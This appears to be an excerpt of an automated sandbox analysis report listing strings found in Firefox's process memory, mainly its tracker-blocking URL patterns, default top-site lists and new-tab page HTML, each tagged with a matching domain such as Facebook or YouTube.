Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: SitePermsAddonInstall#cancel called twice on media.gmp-manager.cert.checkAttributesFileUtils_openAtomicFileOutputStream*://connect.facebook.net/*/sdk.js*@mozilla.org/network/safe-file-output-stream;1*://www.everestjs.net/static/st.v3.js**://connect.facebook.net/*/all.js*resource://gre/modules/addons/XPIProvider.jsmhttps://smartblock.firefox.etp/play.svg@mozilla.org/network/atomic-file-output-stream;1https://smartblock.firefox.etp/facebook.svg*://libs.coremetrics.com/eluminate.jsFileUtils_openSafeFileOutputStreamwebcompat-reporter@mozilla.org.xpiFileUtils_closeAtomicFileOutputStream*://static.chartbeat.com/js/chartbeat_video.jsFileUtils_closeSafeFileOutputStreamresource://gre/modules/FileUtils.sys.mjs*://track.adform.net/serving/scripts/trackpoint/resource://gre/modules/TelemetryStorage.sys.mjs equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: UpdateService:selectUpdate - the user requires elevation to install this update, but the user has exceeded the max number of elevation attempts.https://www.youtube.com/,https://www.facebook.com/,https://allegro.pl/,https://www.wikipedia.org/,https://www.olx.pl/,https://www.wykop.pl/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.twitter.com (Twitter)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44574000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: You may not unsubscribe from a store listener while the reducer is executing. See https://redux.js.org/api-reference/store#subscribe(listener) for more details.https://www.youtube.com/,https://www.facebook.com/,https://www.amazon.com/,https://www.reddit.com/,https://www.wikipedia.org/,https://twitter.com/ equals www.youtube.com (Youtube)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: ["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"] equals www.rambler.ru (Rambler)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["image"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B49103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["imageset"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pixel.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B4455F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4455F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["script"], urls:["*://webcompat-addon-testbed.herokuapp.com/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_2.js", "*://example.com/browser/browser/extensions/webcompat/tests/browser/shims_test_3.js", "*://s7.addthis.com/icons/official-addthis-angularjs/current/dist/official-addthis-angularjs.min.js*", "*://track.adform.net/serving/scripts/trackpoint/", "*://track.adform.net/serving/scripts/trackpoint/async/", "*://*.adnxs.com/*/ast.js*", "*://*.adnxs.com/*/pb.js*", "*://*.adnxs.com/*/prebid*", "*://www.everestjs.net/static/st.v3.js*", "*://static.adsafeprotected.com/vans-adapter-google-ima.js", "*://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js", "*://cdn.branch.io/branch-latest.min.js*", "*://pub.doubleverify.com/signals/pub.js*", "*://c.amazon-adsystem.com/aax2/apstag.js", "*://auth.9c9media.ca/auth/main.js", "*://static.chartbeat.com/js/chartbeat.js", "*://static.chartbeat.com/js/chartbeat_video.js", "*://static.criteo.net/js/ld/publishertag.js", "*://*.imgur.com/js/vendor.*.bundle.js", "*://*.imgur.io/js/vendor.*.bundle.js", "*://www.rva311.com/static/js/main.*.chunk.js", "*://web-assets.toggl.com/app/assets/scripts/*.js", "*://libs.coremetrics.com/eluminate.js", "*://connect.facebook.net/*/sdk.js*", "*://connect.facebook.net/*/all.js*", "*://secure.cdn.fastclick.net/js/cnvr-launcher/*/launcher-stub.min.js*", "*://www.google-analytics.com/analytics.js*", "*://www.google-analytics.com/gtm/js*", "*://www.googletagmanager.com/gtm.js*", "*://www.google-analytics.com/plugins/ua/ec.js", "*://ssl.google-analytics.com/ga.js", "*://s0.2mdn.net/instream/html5/ima3.js", "*://imasdk.googleapis.com/js/sdkloader/ima3.js", "*://www.googleadservices.com/pagead/conversion_async.js", "*://www.googletagservices.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/tag/js/gpt.js*", "*://pagead2.googlesyndication.com/gpt/pubads_impl_*.js*", "*://securepubads.g.doubleclick.net/tag/js/gpt.js*", "*://securepubads.g.doubleclick.net/gpt/pubads_impl_*.js*", "*://script.ioam.de/iam.js", "*://cdn.adsafeprotected.com/iasPET.1.js", "*://static.adsafeprotected.com/iasPET.1.js", "*://adservex.media.net/videoAds.js*", "*://*.moatads.com/*/moatad.js*", "*://*.moatads.com/*/moatapi.js*", "*://*.moatads.com/*/moatheader.js*", "*://*.moatads.com/*/yi.js*", "*://*.imrworldwide.com/v60.js", "*://cdn.optimizely.com/js/*.js", "*://cdn.optimizely.com/public/*.js", "*://id.rambler.ru/rambler-id-helper/auth_events.js", "*://media.richrelevance.com/rrserver/js/1.2/p13n.js", "*://www.gstatic.com/firebasejs/*/firebase-messaging.js*", "*://*.vidible.tv/*/vidible-min.js*", "*://vdb-cdn-files.s3.amazonaws.com/*/vidible-min.js*", "*://js.maxmind.com/js/apis/geoip2/*/geoip2.js", "*://s.webtrends.com/js/advancedLinkTracking.js", "*://s.webtrends.com/js/webtrends.js", "*://s.webtrends.com/js/webtrends.min.js"], windowId
Source: firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: [{incognito:null, tabId:null, types:["xmlhttprequest"], urls:["*://track.adform.net/Serving/TrackPoint/*", "*://pagead2.googlesyndication.com/pagead/*.js*fcd=true", "*://pagead2.googlesyndication.com/pagead/js/*.js*fcd=true", "*://pixel.advertising.com/firefox-etp", "*://cdn.cmp.advertising.com/firefox-etp", "*://*.advertising.com/*.js*", "*://*.advertising.com/*", "*://securepubads.g.doubleclick.net/gampad/*ad-blk*", "*://pubads.g.doubleclick.net/gampad/*ad-blk*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap1*", "*://vast.adsafeprotected.com/vast*", "*://securepubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://pubads.g.doubleclick.net/gampad/*xml_vmap2*", "*://securepubads.g.doubleclick.net/gampad/*ad*", "*://pubads.g.doubleclick.net/gampad/*ad*", "*://www.facebook.com/platform/impression.php*", "https://ads.stickyadstv.com/firefox-etp", "*://ads.stickyadstv.com/auto-user-sync*", "*://ads.stickyadstv.com/user-matching*", "https://static.adsafeprotected.com/firefox-etp-pixel", "https://static.adsafeprotected.com/firefox-etp-js", "*://*.adsafeprotected.com/*.gif*", "*://*.adsafeprotected.com/*.png*", "*://*.adsafeprotected.com/*.js*", "*://*.adsafeprotected.com/*/adj*", "*://*.adsafeprotected.com/*/imp/*", "*://*.adsafeprotected.com/*/Serving/*", "*://*.adsafeprotected.com/*/unit/*", "*://*.adsafeprotected.com/jload", "*://*.adsafeprotected.com/jload?*", "*://*.adsafeprotected.com/jsvid", "*://*.adsafeprotected.com/jsvid?*", "*://*.adsafeprotected.com/mon*", "*://*.adsafeprotected.com/tpl", "*://*.adsafeprotected.com/tpl?*", "*://*.adsafeprotected.com/services/pub*", "*://*.adsafeprotected.com/*"], windowId:null}, ["blocking"]] equals www.facebook.com (Facebook)
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;user&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" style="background-image:url(chrome://activity-stream/content/data/content/tippytop/images/youtube-com@2x.png)"></div></div></div><div class="title"><span dir="auto">YouTube<span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><div><button aria-haspopup="true" data-l10n-id="newtab-menu-content-tooltip" data-l10n-args="{&quot;title&quot;:&quot;YouTube&quot;}" class="context-menu-button icon"></button></div><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.facebook.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="F"><div class="top-site-icon rich-icon" style="backgroun
Source: firefox.exe, 0000001C.00000002.2749546118.0000025B4537B000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: doff-text" data-l10n-args="{&quot;user&quot;: &quot;Google&quot;}"></div><input type="search" class="fake-editable" tabindex="-1" aria-hidden="true"/><div class="fake-caret"></div></button></div></div></div><div class="body-wrapper on"><div class="discovery-stream ds-layout"><div class="ds-column ds-column-12"><div class="ds-column-grid"><div><div class="ds-top-sites"><section class="collapsible-section top-sites" data-section-id="topsites"><div class="section-top-bar"><h3 class="section-title-container " style="visibility:hidden"><span class="section-title"><span data-l10n-id="newtab-section-header-topsites"></span></span><span class="learn-more-link-wrapper"></span></h3></div><div><ul class="top-sites-list"><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer placeholder "><div class="top-site-inner"><a class="top-site-button" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper"><div class=""></div></div></div><div class="title"><span dir="auto"><br/><span class="sponsored-label" data-l10n-id="newtab-topsite-sponsored"></span></span></div></a><button aria-haspopup="dialog" class="context-menu-button edit-button icon" data-l10n-id="newtab-menu-topsites-placeholder-tooltip"></button><div class="topsite-impression-observer"></div></div></li><li class="top-site-outer"><div class="top-site-inner"><a class="top-site-button" href="https://www.youtube.com/" tabindex="0" draggable="true" data-is-sponsored-link="false"><div class="tile" aria-hidden="true"><div class="icon-wrapper" data-fallback="Y"><div class="top-site-icon rich-icon" 